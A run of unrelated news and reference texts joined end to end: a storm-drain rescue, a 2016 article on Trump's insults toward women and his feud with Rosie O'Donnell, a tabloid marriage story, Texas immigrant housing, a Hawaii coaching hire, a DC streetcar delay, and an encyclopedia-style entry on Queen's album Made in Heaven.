The man then got stuck due to a bend in the narrow drain pipe, which ran next to the Sportsplex's tennis courts.
He told firefighters that he climbed in the pipe because he has always been "adventurous."
The man, whose identity was not released, suffered cuts to his body and appeared to be dehydrated. He was immediately given oxygen once he was free and taken to a nearby hospital for evaluation and treatment.
It was a situation that could have ended much worse.
"If we had some rain, you know obviously he was in a storm drain, so it could have ended very badly for him. I think he had a guardian angel overlooking him and he was able to get out of there alive," Williams said.Megyn Kelly tried to warn Donald Trump, 13 months ago, that his sexist remarks about women would become an issue. He refused to listen — preferring to attack the messenger instead. Or maybe Trump was simply unable to comprehend that his long history of insulting women in crude terms might not seem funny to voters who live outside the Fox News bubble. But Trump’s flailing attempt to respond to Hillary Clinton’s charge, in Monday’s debate, that he has a pattern of sexist comments about women stretching back decades, suggests that the candidate might have been better off listening to Kelly than to his current adviser, her former boss Roger Ailes. In August 2015, Kelly’s first question for Trump in the first debate of the Republican primary campaign noted that while his supporters love that “you speak your mind, and you don’t use a politician’s filter,” his insult-comic approach “is not without its downsides, in particular when it comes to women.” “You’ve called women you don’t like ‘fat pigs,’ ‘dogs,’ ‘slobs,’ and ‘disgusting animals,’” Kelly continued. “Your Twitter account –” and here, without waiting to hear her question, Trump interrupted Kelly, leaning into his mic to say, “Only Rosie O’Donnell.” After being forced to wait more than 15 seconds for the partisan audience in the Fox News debate hall to finish laughing at Trump’s dig at the liberal comedian, Kelly pointed out that his defense was both untrue and beside the point. “No it wasn’t,” she said. “For the record, it was well beyond Rosie O’Donnell. Your Twitter account has several disparaging comments about women’s looks. You once told a contestant on ‘Celebrity Apprentice’ it would be ‘a pretty picture’ to see her on her knees.” “Does that sound to you like the temperament of a man we should elect as president?” she asked. “And how will you answer the charge from Hillary Clinton, who is likely to be the Democratic nominee, that you are part of the war on women?” Trump, visibly irritated, replied by dismissing his insults as jokes — “It’s fun, it’s kidding, we have a good time” — and trained his anger back on the female anchor for not taking them that way. “What I say is what I say, and honestly, Megyn, if you don’t like it, I’m sorry,” he said. “I’ve been very nice to you, although I could probably maybe not be, based on the way you have treated me — but I wouldn’t do that.” Trump, of course, was just getting started, launching a multimedia assault on the Fox News anchor over the coming days and months in which he seemed to illustrate her point, hinting on Twitter that she was “a bimbo” and suggesting to CNN that she might have been angry with him because of her menstrual cycle.
I refuse to call Megyn Kelly a bimbo, because that would not be politically correct. Instead I will only call her a lightweight reporter! — Donald J. Trump (@realDonaldTrump) January 27, 2016
We know now how prescient Kelly was. Clinton, on Monday night, replied to a question about Trump saying she did not have “a presidential look” by quoting the same litany of insults he has used against women who criticized him, and then mentioning his public humiliation of the former Miss Universe, Alicia Machado. Despite having 13 months between the two debates to come up with a better answer, Trump had none. That one of his debate coaches is Ailes, the Fox News creator who was recently forced out of the network for the alleged sexual harassment of many women, including Kelly, might have something to do with it. On Monday night, all Trump had to offer were the very same excuses: first dismissing his remarks as “said in entertainment,” and then falsely claiming his words were aimed solely at a comedian he feuded with over the airwaves a decade ago. “Somebody who’s been very vicious to me, Rosie O’Donnell, I said very tough things to her,” Trump admitted, before immediately excusing himself. “I think everybody would agree that she deserves it,” he said, apparently referring to the minority of Americans glued to Fox News, “and nobody feels sorry for her.” In sharp contrast to the Fox News primary debate, when his jab at O’Donnell delighted the partisan crowd, his reference to her on Monday night fell flat, with even Trump’s planted cheering section in the hall failing to laugh. It also baffled millions of debate viewers who were unaware of Trump’s long-running spat with the comedian and sparked curiosity about what she could have said about him that was so “vicious” that he would refer to it 10 years later, in a job interview to be president of the United States.
top google searches in Islamic State: who is Rosie O'Donnell? — Eric (@ericschmerick) September 27, 2016
I'm not even 100% sure who @Rosie is but she must be pretty bad ass for trump to hate her that much — Mikaela Ziegler (@Mikaela_Ziegler) September 27, 2016
In response, the comedian shared video on Twitter of her mockery of Trump on the December 20, 2006, edition of the daytime television show “The View,” which, as she said, he “can’t seem to get over.”
https://t.co/EvxYa7A4bL — the 5 mins orange anus can't seem to get over — tell the truth – shame the donald #ImWithHer — Rosie (@Rosie) September 27, 2016
The clip reveals that what O’Donnell did to so enrage Trump was to scoff at him for holding a press conference to announce that he would not be taking away the title of Miss USA from a young woman who was caught drinking and taking drugs at a nightclub. After doing a broad impression of Trump, O’Donnell said: “He annoys me on a multitude of levels. He’s the moral authority: left the first wife, had an affair, left the second wife, had an affair, had kids both times, but he’s the moral compass for 20-year-olds in America.” She then went on to skewer Trump for inheriting wealth from his father and using bankruptcy laws to repeatedly bail himself out and not pay his creditors. “This is not a self-made man,” she said. “I just think that this man is like sort of one of those, you know, snake-oil salesmen,” she added. Oddly enough, the archival video also shows that the segment after O’Donnell’s riff was a chat with then-Senator Hillary Clinton. Trump himself had appeared on “The View” as a guest earlier that year, alongside his daughter Ivanka, and joked that “if Ivanka weren’t my daughter, perhaps I’d be dating her.” Given that Kelly originally asked Trump last year if his tirades about women who criticized him — an enemies list that also includes Gail Collins, Arianna Huffington, and Bette Midler — suggested that he might not have “the temperament of a man we should elect as president,” it is remarkable to look back now at just how much energy he devoted to nursing that grudge against O’Donnell in public at the time. (It is also worth noting that Trump’s claim during the debate on Monday that he has “a much better temperament” than Clinton did prompt audible laughter in the debate hall, and from undecided voters in at least one focus group.) Some of his comments were made in showbiz venues, like “Entertainment Tonight” and the “Late Show,” but, remarkably, Trump was also interviewed about the spat on all three major cable news networks — speaking on Fox with Bill O’Reilly, on MSNBC with Don Imus, and on CNN with Larry King and then Anderson Cooper, who will moderate next week’s presidential debate. Foreign diplomats might soon be studying Trump’s cascade of television appearances in the months following O’Donnell’s mockery for tips on how to take advantage of an American president with such incredibly thin skin. Those clips are also worth watching now as a sort of time capsule reminder of a moment in the not-too-distant past when Trump was firmly established as an entertainer — with him ranting about O’Donnell mocking his hair on MSNBC, for instance, even as the on-screen news ticker refers to George W. Bush deploying more troops to Iraq and U.S. forces detaining Iranians in Kurdistan. The same video evidence also offers clues as to how Trump turned a career of self-promotion for his entertainment and real estate ventures into a public profile that convinced millions of Americans to consider putting him in charge of our government. The contemporary reports show how enthusiastically broadcast journalists treated the tabloid subject of the developer’s personal life as significant news worthy of airtime. The following year, Trump continued to attack O’Donnell, even though, he admitted, she had by then refused to say anything more about him. During a return engagement on Larry King’s CNN talk show, Trump claimed the comedian “ate like a pig” at one of his weddings. During a lecture on the real estate business for the adult-education Learning Annex, he fantasized about hitting her “big pig face right smack in the middle of the eyes.” He then told the same audience that he had done something heroic by standing up to O’Donnell, because she had bullied him. “When you deal with a bully, which is what she is,” he said, “when you deal with a bully, and I learned it in high school, you’ve got to hit a bully really hard, really strong, right between the eyes.” A full five years later, on the video blog Trump used to promote both “The Apprentice” and his possible candidacy for the 2012 Republican presidential nomination, the grudge was still driving him to devote energy to trashing O’Donnell. In the days following this week’s debate, having walked into the very trap Kelly had warned him Clinton would set, Trump was forced further on the defensive over his remarks about Machado. The former beauty queen, in several media appearances arranged by the Clinton campaign, recalled how Trump mocked her for gaining weight after winning the pageant he owned by calling her “fatty,” and “Miss Eating Machine.” The Clinton campaign even released two social-media ads featuring Machado.
Trump on Alicia, 1996: "Miss Piggy." This morning: "She gained a massive amount of weight…it was a real problem." pic.twitter.com/0wrISjJe6z — Hillary Clinton (@HillaryClinton) September 27, 2016A mother-of-two has revealed that she and her husband haven't had sex in two years after she suffered a complete loss of libido.
Louise Unwin and her husband Stuart, both 33, from Darton, South Yorkshire, have hardly engaged in any sexual activity since they were married in March 2014.
Despite the fact that the only thing they have been doing between the sheets recently is sleeping, Louise claims that they had a very active sex life before they were married.
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Louise Unwin says that she and her husband Stuart have barely had sex since they were married two years ago. Pictured: Louise and Stuart with their daughters Poppy (left) and Emily (right)
She says: 'Stuart and I couldn't keep our hands off each other when we first got together. But our active, exciting sex life nose-dived as soon as we tied the knot.
The full time mother reveals that she encountered a complete shift in her sex following the birth of her second child.
She explained: 'I was exhausted after our big day and self-conscious about my body after giving birth to our daughter, Poppy, not long before.'
Louise continued to say that she even struggled with her libido on her wedding night.
She said: 'I didn't want to have sex that night, but went through with it anyway for Stuart's sake. Since then, the problem has gone from bad to worse.'
Louise says that she even struggled with her sex drive on her wedding night. Pictured: the pair on the wedding day in March 2014
She says that although they slept together on their wedding night she had to 'force' herself to go through with it
After having children Louise became far more body conscious, finding it difficult to build up a sex drive when she says that she struggled to feel sexy.
She added: 'I feel self-conscious about my body, despite Stuart's constant reassurances that he loves my figure.
'He insists he prefers women with a bit of meat on them, but although we've had sex occasionally since we got married I have to force myself to go through with it.'
Despite the fact that security guard Stuart has been living in an almost sex free marriage Louise says that their relationship has not suffered.
Louise says that she has tried reading erotica and even watching porn with Stuart in a bid to relight the flames of passion but nothing has yet worked
Louise continued: 'My marriage to Stuart is perfect in every other way. We have two beautiful girls - Poppy, two and my daughter from a previous relationship, Emily, nine.
'We're deeply in love but sex is just not on the cards.'
Louise says that she has not given up on the hope of having a good sex life and has even dedicated time to reading erotica and watching pornographic movies.
She says that despite their lack of sex their marriage has remained a happy one
'I've tried everything to get me in the mood' says Louise 'I read all three Fifty Shades books in quick succession in a bid to get my libido back and although, for the first time in years I felt like I'd reignited the fires of passion, the feeling fizzled out the minute I'd turned the last page of the final book.
'Stuart and I have even watched porn together, but it just doesn't do the trick. I'm desperate to have a normal, fun sex life with my husband but whenever he makes a move I feel tired and unresponsive.'
Desperate to rekindle her old lust for her husband, Louise visited her doctor who recommended that Louise visited a therapist, which she is planning to do in the next few months.
Louise added: 'In the meantime, I've joined the gym in the hope that if I can lose some weight I'll feel better about myself and we might find our spark again.
'Although I love my husband, I just don't want to have sex with him.'
Stuart says that although it has been a struggle he is happy to support his wife and is optimistic for their future sex life.
He said: 'Family and friends told us our sex life would deteriorate once we got married - but I didn't expect it to go downhill quite so quickly. Louise isn't comfortable with me trying to get her in the mood, so I've learned not to bother her.Cartoon Network’s satirical, smart Rick and Morty is huge among millennials, but an attempt by fast-food giant McDonald’s to capitalize on one of the show’s running gags appears to be backfiring.
The backstory here is appropriately absurd. Rick and Morty, co-created by Community mastermind Dan Harmon, chronicles the adventures of an alcoholic superscientist |
, Stratton’s vice-president, Shannon A Stratton, tried to pitch the same idea for the closed worker housing in a letter to Grassroots Leadership, an Austin-based organization that opposes the prison industry.
A glossy proposal accompanying Stratton’s letter showed hotel-like two-bedroom studios with a living room, kitchenette and full bathroom. Stratton noted a federal judge has said women and children should be released from other detention centers where they are being held in “deplorable” conditions.
“The Studios in Carrizo Springs offers an excellent solution and is distinctly different from the facilities that are so highly criticized in the media and by human rights groups,” Stratton wrote. “Families could be free to come and go while they await immigration hearings, receive education about their rights and responsibilities, and pursue permanent relocation and employment.”
“It shows they don’t quite know what is going on,” said Cristina Parker, immigration programs director for Grassroots Leadership. “They’re confused about other things too, because it is blanketly untrue that the families will be free to come and go.”
Immigration and Customs Enforcement’s other two family residential centers in Texas are surrounded by razor wire and high fences.
The proposal emerges just days after the US supreme court blocked Obama’s plan to spare millions of immigrants from deportation. He vowed afterward: “What was unaffected by today’s ruling, or lack of a ruling, is the enforcement priorities that we’ve put in place.”HONOLULU -- Eran Ganot has returned to Hawaii as the Rainbow Warriors' basketball coach.
The university announced the hiring of Ganot, a former Hawaii assistant who was associate head coach at Saint Mary's, from a pool of more than 80 candidates at a Thursday morning news conference.
"We were blessed with excellent candidates, but one person clearly rose to the top," chancellor Robert Bley-Vroman said in introducing Ganot. "He possesses all the qualities we are looking for in our next basketball coach."
Eran Ganot returns to Hawaii after working in various roles there from 2006 to 2010. AP Photo/Young Kwak
Bley-Vroman added that Ganot "has an unwavering dedication to academics and to NCAA compliance."
Ganot is the 21st head coach at Hawaii and the second-youngest at the age of 33.
"It's not often you can fulfill your dream, and today I get to fulfill my dream," Ganot said. "I'm humbled and honored to stand before you as the head coach of the University of Hawaii for men's basketball."
He's familiar with the university, serving with the Rainbow Warriors in various roles such as director of basketball operations and full-time assistant from 2006 to 2010.
Ganot inherits a troubled program. Former coach Gib Arnold was fired in late October, just weeks before the season was set to start, amid NCAA allegations.
The NCAA alleges that Arnold acted unethically and knowingly influenced others to provide false or misleading information regarding violations during his tenure. Arnold has said he plans to fight the allegations and is seeking $1.4 million from the university.
The school has been under investigation since March 2014 by the NCAA. The university self-reported a Jan. 9, 2014, incident in which "a men's basketball coach submitted an altered document that was essential for admissions purposes," according to information obtained by the Honolulu Star-Advertiser.
Editor's Picks Goodman: Grading every head-coaching hire Jeff Goodman provides his grades for all the head-coaching hires throughout the country. Avery Johnson, Mark Price and Chris Mullin are among the big names, but have limited college experience.
In response the NCAA investigations, Ganot said the university's compliance department "has done a great job tackling what they could do and making the best of a tough situation."
"I'm ready for the challenge that could come. I'm not going to run from it. We're not going to run from it," he said. "We'll approach it the right way and make sure we don't have any issues going forward.... We're not going to go looking for excuses. We just got to be very prepared."
Associate head coach Benjy Taylor, who joined Arnold in his first season at Hawaii, stepped in after the firing, led the Rainbow Warriors to a 22-13 season and took the team to the final of the Big West tournament.
Bley-Vroman thanked Taylor and this season's basketball team for their hard work and success. He said the team did something improbable.
"We had a difficult beginning, and people pulled together," Bley-Vroman said. "We pulled off a really great season."On NewsChannel 8 last year, D.C. Mayor Vincent Gray predicted that streetcars would start carrying passengers on H Street NE by early February. But at this point, that seems unlikely. The transit system is still being inspected and DDOT is still hiring staff to operate it.
On Monday, a DDOT job fair at the Department Of Employment Services headquarters in Northeast D.C. attracted about 700 applicants – mostly District residents – competing for just 34 full-time positions with the new streetcar line.
Job applicants said they stood in line more than two hours just to get inside. Once there, they found hundreds more waiting as well.
Open positions include train operators and mechanics, with salaries ranging from $15 an hour (for entry level jobs) up to $28 an hour (for more skilled labor).
During his regular appearance on NewsTalk with Bruce DePuyt in November, Mayor Gray set an ambitious goal for the transit system's launch.
“The streetcars will start actually moving around in December,” he said. “And we'll have passenger service probably starting in January, not later than early February when we get an additional car.”
But now late January, DDOT officials acknowledge the Mayor's timetable is "probably not" going to happen. Because even if safety inspections were to theoretically wrap up today, DDOT still plans to set aside 30 days to get the service operational and ready for passengers.
DDOT Director of Communications Reggie Sanders said, “I don't have an exact date for you... after we go through that safety testing period, 30 days after that we'll be ready. So hopefully we'll do it – we're moving as fast we can. Obviously, we want to ensure that everybody's safe and the trains are operating properly.”1995 studio album by Queen
Made in Heaven Studio album by Queen Released 6 November 1995 Recorded January–May 1991, October 1993 – February 1995 Studio Mountain Studios, Allerton Hill, Cosford Mill, and Metropolis Studios Genre Rock Length 70 : 21
47:45 (original LP, Cassette) Label Parlophone
Hollywood Producer Queen Queen chronology Innuendo
(1991) Made in Heaven
(1995) The Cosmos Rocks
(2008) Singles from Made in Heaven
Released: 23 October 1995
Released: 18 December 1995
Released: 28 February 1996 (Japan only)
Released: 26 February 1996
Released: 17 June 1996
Released: 18 November 1996
Made in Heaven is the fifteenth and final studio album by the British rock band Queen, released on 6 November 1995 by Parlophone Records in the United Kingdom and by Hollywood Records in the United States. It is the band's first release since the death of lead singer Freddie Mercury in 1991. Following Mercury's death, guitarist Brian May, drummer Roger Taylor, and bass guitarist John Deacon worked with vocal and piano parts that Mercury recorded before his death, adding new instrumentation to the recordings. Both stages of recording, before and after Mercury's death, were completed at the band's studio in Montreux, Switzerland. The album debuted at number 1 in the UK where it went 5× platinum. The album became the band's best-selling studio album, selling over 20 million copies around the world.[1]
The cover for the album has two different photos: the CD cover photo was shot at dusk, depicting Irena Sedlecká's Mercury sculpture located at Lake Geneva in Montreux, Switzerland, on the front, with May, Taylor and Deacon gazing at the Alps on the rear cover; meanwhile, the LP cover photo was shot in the same spot at dawn, depicting the same statue on the front, but with May, Taylor and Deacon gazing at the sunrise on the rear cover.
Background and recording [ edit ]
The statue of Freddie Mercury overlooking Lake Geneva in Montreux Switzerland, which is featured on the cover of the album.
The album was recorded in a much different way from Queen's other studio albums. In early 1991, having completed work on Innuendo, and some months before his death, Freddie Mercury recorded as many vocals as he could, with the instruction to the rest of the band (Brian May, Roger Taylor, and John Deacon) to complete the songs later. Put to tape during this time were primarily "A Winter's Tale", "Mother Love" and what would eventually become "You Don't Fool Me".
In the documentary Champions of the World, May described these sessions with Mercury as such:
By the time we were recording these other tracks after Innuendo, we had had the discussions and we knew that we were totally on borrowed time because Freddie had been told that he would not make it to that point. I think our plan was to go in there whenever Freddie felt well enough, just to make as much use of him as much as possible, we basically lived in the studio for a while and when he would call and say, 'I can come in for a few hours', our plan was to just make as much use of him as we could, you know he told us, 'Get me to sing anything, write me anything and I will sing it and I will leave you as much as I possibly can.'
Producer David Richards also added:
The thing that was really unusual about these last songs they recorded was that Freddie insisted on doing final vocals. Normally he had always wanted to wait until all the music was completed before he would put his final vocal on. There must have been a reason for this, I think he felt there wasn’t enough time to have it completed in time. Which also means that he definitely wanted these things to be released, there’s simply no other reason why he would have done that.
After Mercury's death, the band returned to the studio in 1993 to begin work finishing the tracks. May has described in interviews that Taylor and Deacon had begun some work in 1992, while May was on tour promoting his Back to the Light album. Upon his return in 1993, May felt they were not on the right path with the music and that they more or less started from scratch with the three of them working together with producer David Richards.
With less than an album's worth to work with, the band decided to revisit previously recorded material. The band did not discuss whether Mercury had any input before his death regarding which songs might be considered. The idea was to take existing songs on which Mercury sang and rework them as Queen songs.
In 2013, Brian May said about the album "[Made in Heaven] was possibly the best Queen album we ever made. It has so much beauty in it. It was a long, long process, painstakingly put together. A real labour of love."[2]
Songs [ edit ]
"It's a Beautiful Day" [ edit ]
Years before Mercury started recording solo material, he created a sound clip of himself experimenting on the piano at Musicland Studios in Munich in 1980 during the sessions of The Game. Later, for the use of this album, the song was extended to two minutes and 32 seconds. The more classical section, without Mercury's improvisation, was put together by John Deacon.
"Made in Heaven" [ edit ]
Originally from Mercury's Mr. Bad Guy, this song, along with the other Mercury solo track "I Was Born to Love You", was given special treatment by Queen for this posthumous album. The band re-worked the music to a "Queen sound", and placed Mercury's previous vocals over the new music.
"Let Me Live" [ edit ]
"Let Me Live" is a lively rock ballad which features a rare sharing of the vocals between Mercury, May, and Taylor. The song was completed in 1995. This track was originally recorded with Rod Stewart during sessions for the 1984 album The Works.[3] Once finished in 1995 for Made in Heaven, Queen made one 11th-hour change to the song to avoid legal action. Part of the backing vocals featured lyrics too closely resembling Erma Franklin's "Piece of My Heart". The potentially problematic bit was mixed out and the track was released. Promo cassettes from the US feature the unaltered backing track. Early Mexican and Dutch CD pressings are reported to have this alternate version as well.
"Mother Love" was the final song co-written by Mercury and May, and was also Mercury's last vocal performance.[4] Mercury's vocals for "Mother Love" were recorded 13–16 May 1991.[5] On his website, May discussed the writing process he and Mercury had (writing both separately and together, and conscious of the nature of the song and the lyrics). Upon reaching the final verse, Mercury told May that he had to go and "have a rest", but that he would return later and finish it. After that, Mercury never made it back to the studio, and thus May sang the last verse on the track.
The song features a sample from a live sing along session recorded at Queen's famous 1986 concert at Wembley Stadium, and a sample from the intro of the studio version of "One Vision" and "Tie Your Mother Down". It also features a sample from a cover of "Goin' Back", a song written by Carole King and Gerry Goffin, for which Mercury had provided lead vocals in 1972. The cover was released as a B-side to "I Can Hear Music", a Ronettes cover, by Larry Lurex, not long before the release of Queen's debut album. The sound bursts between the sing along and the "Goin' Back" sample are apparently a few milliseconds of every Queen track ever recorded, put together, and then rapidly sped through a tape machine. At the very end of the song, a baby is heard crying.
"My Life Has Been Saved" [ edit ]
"My Life Has Been Saved" was started as an acoustic track composed mainly by Deacon in 1987–1988. Producer David Richards helped him out doing the demo and the keyboards, then Mercury sang on it, and later on the entire band recorded it. The Made in Heaven version is different from that of 1989 (which originally featured as the B-side to the single "Scandal"), although it uses the same vocals from Mercury. Deacon plays guitar and keyboards as well as his usual instrument, bass guitar.
"I Was Born to Love You" [ edit ]
"I Was Born to Love You" was originally recorded (piano, vocals, synths) by Mercury on 25 May 1984, for his Mr. Bad Guy album, as a late addition (when told by the record company that the album needed "a single"). May, Taylor and Deacon re-recorded it and added their instruments, turning the song into fast-paced rock, mainly featuring hard rock guitar from May. That track became popular in Japan during 2004 when it was used for the theme song of a television drama named Pride (プライド). This version also contains samples of Mercury's ad-lib vocals from "A Kind of Magic", from the 1986 album of the same name, and from "Living on My Own", from his Mr. Bad Guy album. The music video for this version of the song, also made in 2004, is composed mainly of clips from the Mercury solo video and from Queen: Live at Wembley.[6]
"Heaven for Everyone" [ edit ]
"Heaven for Everyone" was a track Taylor wrote and tried out with Queen in 1987,[7] although according to some sources it was written with Joan Armatrading in mind to sing it. Whether she turned it down or Taylor withdrew the song is unclear, but it was recorded by his other band The Cross. One night Mercury came to visit The Cross at the studio and after some drinks he gave them ideas of how to sing the song and ended up recording the lead vocals for it. Mercury appeared on the UK version of their album Shove It as guest lead vocalist on the song, with Taylor doing backing vocals. The roles were reversed on the single and the American version of Shove It. Mercury's vocals were then used for the Made in Heaven release, with a couple of different lines and May singing backing vocals instead of Taylor, with Richards adding several arrangement ideas. It was released as the leading single two weeks before the album's release, with the song's music video commemorating Mercury, and also containing footage of Georges Méliès seminal 1902 silent film A Trip to the Moon.[8]
"Too Much Love Will Kill You" [ edit ]
"Too Much Love Will Kill You" was composed by May, Frank Musker and Elizabeth Lamers sometime between the sessions for A Kind of Magic and The Miracle.[9] They wrote it in the US and Mercury sang on it. However, there were some problems with the companies representing publishing rights for Musker and Lamers so they could not release the song properly on The Miracle. The song even appears in the original track listing between "I Want It All" and "The Invisible Man", but was deleted. This is the only track on the Made In Heaven album which wasn't reworked by the remaining members of the band during 1993–1995 sessions, but is the original 1989 mix prepared for The Miracle album.
At The Freddie Mercury Tribute Concert, May played the song on piano and sang it for the first time in public and then released it as part of his solo album Back to the Light. Its arrangement differs to the Queen version, featuring acoustic guitar solo and no drums. However May played this track live with his touring band in 1992–1993 using an arrangement similar to the original Queen version. The song was awarded Best Song Musically and Lyrically at the 1997 Novello Awards.[9]
This song was also performed by Queen and Luciano Pavarotti in 2003, with Pavarotti singing the latter parts of the verses in Italian.[10]
"You Don't Fool Me" [ edit ]
"You Don't Fool Me" was one of the last tracks recorded for Made in Heaven and may be the most unusual. May has explained on his website that David Richards (producer) more or less created the framework of the song single-handedly, building from bits of lyrics recorded just before Mercury's death. May has said that before Richards' work, there was no song to speak of. However, after Richards edited and mixed the song (including a bit of harmonies recorded for "A Winter's Tale") he presented it to the band. May, Taylor and Deacon then added their instruments and backing vocals and were surprised to end up with a finished song that had begun as nothing. The style of the song is reminiscent of their 1982 album Hot Space, and a comment over that featured on their Greatest Hits III album. The theme of the song could also be a continuation of the story told by prior Queen songs "Play the Game" and "It's a Hard Life".
"A Winter's Tale" is a ballad written and composed by Mercury at his apartment in Montreux, Switzerland. It is the last complete song Mercury composed on his own (the music for "Mother Love" is by May). It has been branded as one of few Christmas songs from the band, along with "Thank God It's Christmas".
Recorded months before Mercury's death, it is the only song in Queen's history to have been recorded in one live take in the studio.
"It's a Beautiful Day (Reprise)" [ edit ]
A heavier rock version of "It's a Beautiful Day", that is the same in the beginning but later turns into rock. It contains "Yeah" and samples from "Seven Seas of Rhye".
"Yeah" is the shortest song on the album and in Queen's song catalogue, lasting only four seconds. It consists of Mercury only saying the word "yeah", which is taken from the song "Action This Day” from Queen's Hot Space album. It appears at the beginning of the last chorus, before the bridge.
Track 13 [ edit ]
Running at 22 minutes and 32 seconds, Track 13 was an experiment by Richards with an Ensoniq ASR-10 sampler. He took the opening chords of "It's a Beautiful Day" and made them loop, and then added Mercury's voice through strange echoes. May and Taylor also added some ideas to the track. This track was previously only available on the CD edition of the album and the aforementioned promo cassettes.
Standard cassettes of the album end with the shortened "It's a Beautiful Day (Reprise)", fading out after Track 12 ("Yeah"), where this untitled track would continue on. Track 13 can be purchased also as part of the full album or as a separate piece from Queen's official online store.
The LP (vinyl) edition of the album has only the first few seconds, which run into the run-off of the groove on the record, which actually means that if a listener has a record player which does not have an automatic stop activated at this point, it will play indefinitely, consisting only of the few seconds looped over constantly.
Track 13 created a good deal of surprise and confusion among fans, given its ambient musical nature and its sheer length, neither of which have much precedent in Queen's catalogue (the longest of Queen's prior songs, "The Prophet's Song" from A Night at the Opera, running a mere 8:20). The album's last listed track (all formats) is track 11: "It's a Beautiful Day (Reprise)". After, Freddie Mercury is heard loudly saying "Yeah", which at four seconds long comprises the entire Track 12. Fans took to calling this track by that monosyllabic name. The ambient music underneath this track continues into Track 13, which ebbs and flows for another 22:32, and ends with Mercury calling out "Fab!"
Two schools of thought emerged amongst fans: one was that these were to be considered not only separate tracks, but separate "songs"; the second was that tracks 11, 12 and 13 were all one song ("It's a Beautiful Day [Reprise]") and that the splitting of it was a deliberate tongue-in-cheek gesture by the band. Initially, the band were content to maintain the air of mystery around Track 13. Over time, May has discussed it and shed a bit more light on it, such as the aforementioned creation by David Richards and the subsequent involvement by himself and Taylor.
In 2015, upon the re-issuing of Queen's discography on vinyl, Made In Heaven was re-issued as a double disc set with track 13 taking up the entirety of side D. The track was given the name "13" and is listed on the artwork.
Critical reception [ edit ]
Made in Heaven received generally positive reviews from music critics. Critics praised its upbeat nature and quality of music after the death of Mercury.
Q magazine wrote: "Ten new tracks (and one reprise). No filler. No shame. An essential purchase for Queen fans, certainly, but even without its special significance, Made In Heaven is probably a better album than Innuendo and a fitting swan song by one of the most incandescent groups in rock. Made in Heaven is also the last musical will and testament of a star who was never going to be turned into a saint, but whose grandstanding performances were, right to the very end, always marked by reckless enthusiasm and a rare generosity of spirit."
The Sunday Times described the album as "essential listening".
Entertainment Weekly wrote: "It's the perfect theatrical epitaph for a life dedicated to gorgeous artifice."
The Guardian stated: "When a band have the controls permanently set at full-tilt, as Queen did, burn-out is inevitable, for the listener, if not for the band. When we eventually reach the drum-crashing finale, "It's a Beautiful Day", which kicks in with Mercury's umpteenth randy-rottweiler howl, it feels as if far more than 70 minutes has passed. That's where the aforesaid lyrics save the day. Predominantly written by Mercury, they are effectively farewell notes. He poured out his heart, and his words have a throat-aching poignance. Even the record's opening verse assumes a painful significance."
Jerusalem Post wrote: "Somehow Mercury and Queen's ability to make a joyful noise in the face of pain and death makes this a very comforting album to have around in shaky times."
The Times stated: "[There are not] any obviously half-baked, or patched-up numbers. Most, however, are as good as anything that Queen came up with in their later years. How good that is, as always with Queen, is largely a matter of taste. "Mother Love", the last recording that Mercury made, is a song of truly heartfelt pathos. Despite its overdue delivery, Made in Heaven stands up remarkably well as the closing chapter in a spectacular pop odyssey."
AllMusic wrote: "Made in Heaven harked back to Queen's 1970s heyday with its strong melodies and hard rock guitar playing, topped by Mercury's bravura singing and some of the massed choir effects familiar from "Bohemian Rhapsody". Even if one did not know that these songs were sung in the shadow of death, that subject would be obvious. The lyrics were imbued with life-and-death issues, from the titles. The odd thing about this was that Mercury's over-the-top singing had always contained a hint of camp humour, and it continued to here, even when the sentiments clearly were as heartfelt as they were theatrically overstated. Maybe Mercury was determined to go out the same way he had come in, as a diva. If so, he succeeded."
Track listing [ edit ]
The writers of tracks credited to Queen are listed in parentheses.
CD [ edit ]
2011 bonus EP No. Title Length 1. "Heaven for Everyone" (single version) 4:39 2. "It's a Beautiful Day" (B-side version) 3:58 3. "My Life Has Been Saved" (1989 B-side version) 3:16 4. "I Was Born to Love You" (vocal and piano version) (credited to Mercury) 2:55 5. "Rock in Rio Blues" (live B-side) 4:33 6. "A Winter's Tale" (cosy fireside mix) 3:49
2011 iTunes deluxe edition bonus videos No. Title Length 7. "Heart-ache (Too Much Love Will Kill You)" (promo video, 1995) 8. "Heaven for Everyone" (promo video, 1995) 9. "Outside-In (A Winter's Tale)" (promo video, 1995)
1995 LP [ edit ]
Two tracks on the vinyl version of Made in Heaven had to be edited to fit on one vinyl disc. These two tracks are "I Was Born to Love You" and "You Don't Fool Me". Also, the version of "Heaven for Everyone" included on the vinyl version is the single version.
Side one No. Title Writer(s) Length 1. "It's a Beautiful Day" Queen (Mercury, Deacon) 2:32 2. "Made in Heaven" Mercury 5:25 3. "Let Me Live" Queen 4:45 4. "Mother Love" Mercury, May 4:49 5. "My Life Has Been Saved" Queen (Deacon) 3:15
Side two No. Title Writer(s) Length 1. "I Was Born to Love You" Mercury 4:25 2. "Heaven for Everyone" (single version) Taylor 4:43 3. "Too Much Love Will Kill You" May, Musker, Lamers 4:20 4. "You Don't Fool Me" Queen 4:46 5. "A Winter's Tale" Queen (Mercury) 3:49 6. "It's a Beautiful Day (Reprise)" Queen (Mercury) 3:01 7. "Yeah" (unlisted) Queen (Mercury) 0:15
2015 LP [ edit ]
Made in Heaven was reissued on vinyl on 25 September 2015, alongside all of Queen's other studio albums. This is the first time that the complete album was released on vinyl, spread across 2 LPs. Track 13 is also presented on vinyl for the first time, listed as "13" on the artwork, and taking up all of side four.
Side 1 No. Title Writer(s) Length 1. "It's a Beautiful Day" Queen (Mercury, John Deacon) 2:32 2. "Made in Heaven" Mercury 5:25 3. "Let Me Live" Queen 4:45 4. "Mother Love" Mercury, May 4:46
Side 2 No. Title Writer(s) Length 1. "My Life Has Been Saved" Queen (Deacon) 3:15 2. "I Was Born to Love You" Mercury 4:51 3. "Heaven for Everyone" Taylor 5:34
Side 3 No. Title Writer(s) Length 1. "Too Much Love Will Kill You" May, Musker, Lamers 4:20 2. "You Don't Fool Me" Queen 5:23 3. "A Winter's Tale" Queen (Mercury) 3:49 4. "It's a Beautiful Day (Reprise)" Queen (Mercury) 3:00 5. "Yeah" (unlisted) Queen (Mercury) 0:11
Side 4 No. Title Writer(s) Length 1. "13" Queen (May, Taylor, Richards) 22:32
Personnel [ edit ]
Queen
Additional personnel
Charts [ edit ]
Certifications [ edit ]
See also [ edit ]
References [ edit ]
